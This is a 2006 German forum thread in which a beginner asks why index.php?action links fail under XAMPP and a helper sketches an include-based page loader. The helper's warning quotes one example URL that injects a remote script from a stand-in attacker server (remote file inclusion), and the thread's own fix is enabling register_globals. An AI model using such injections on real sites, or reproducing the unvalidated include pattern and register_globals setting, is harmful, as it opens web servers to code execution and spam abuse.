Xampp - ?action links funktionieren nicht??
lima-city → Forum → Heim-PC → Software
action
artikel
aufruf
cracker
editor
formular
fragen
funktion
gemeint beitrag
helfe
inhalt
klappe
mail
navigation
quelltext
script
show
verstehe
versuchen
vertrauen
-
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
Quelltext w?re schon ganz gut...
Also du rufst eine Seite mit
index.php?action=impressum oder
index.php?action=start
auf richtig? Ich habe den Artikel (oder besser gesagt, die x-Millionen Artikel) auch gelesen und versuche das jetzt mal aus dem Kopf nachzubilden
Du hast einen Header, eine Navigation, den Hauptbereich und evtl. einen Footer
include('header.php'); include('navi.php');
und nun der nachgeladene Inhalt
Der Server schmeisst immer nur die index.php, wenn du den GET- und und bei Formularen den POST-Wert nicht abf?ngst
if ($_GET[action] == 'impressum') { include('impressum.php') } elseif ($_GET[action] == 'start') { include('start') } else { include('index.php') } // und zum Schluss der Footer include('footer.php')
Aber Achtung... vorher eine Whitelist mit einem Array erstellen! Und vergleichen... sonst kommt ein b?ser Cracker und schreibt in die URL
www.deine-verwundbare-Domain.de/index.php?action='http://mein-server-ist-gemein.net/spam.php';
dann w?rdest du n?mlich ein Script auf meinem Server aufrufen und z.B. Spam-Mails verschicken...
oder die .htaccess k?nnte unter Umst?nden ausgelesen werden -
thx... aber habe auhc ein paar linsk mit GET gemacht
...
aber kann man nich eistellen das er einfach nur erkennt if($action="") ??? -
#
OMG!
$_GET ist ein vorgegebenes Array...
index.php?get=seite w?rde ich nicht empfehlen
k?nnte zwar klappen, aber ich weiss es nicht
poste doch einfach deinen Quelltext und dann helfe ich dir gerne weiter, solange ich nicht selber nachgucken muss ;o)
sonst http://de.php.net oder googlen ;o)
das wie? ich wohl auch!!!
ich will doch nur wissen ob man das umstellen kann!!
xD
so deutlicher??
ps : ich meinte vorhin damit das:
if($_GET["action"]=="about") { echo "bllaaaa"; }
so war das gemeint....
Beitrag ge?ndert am 27.01.2006 21:07 von specialdune -
dann verstehe ich dein Problem nicht...
-
dann verstehe ich dein Problem nicht...
habs rausgefunden...
musste register_globals auf ON setzen...die n?chsten pages scripte ich aber so, dass auch off geht^^ -
das solltest du wirklich... dann nimm doch einfach die "Suchen und Ersetzen"-Funktion im Editor deines Vertrauens und ersetze $GET in $_GET
nur das ich $get kann ich habe :D
ich habe z.b. $action oder $show etc...^^ aber bin shcon dabei alles selbst zu ersetzten^^
frage gekl?rt^^
thx(wof?r auch immer xD) -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage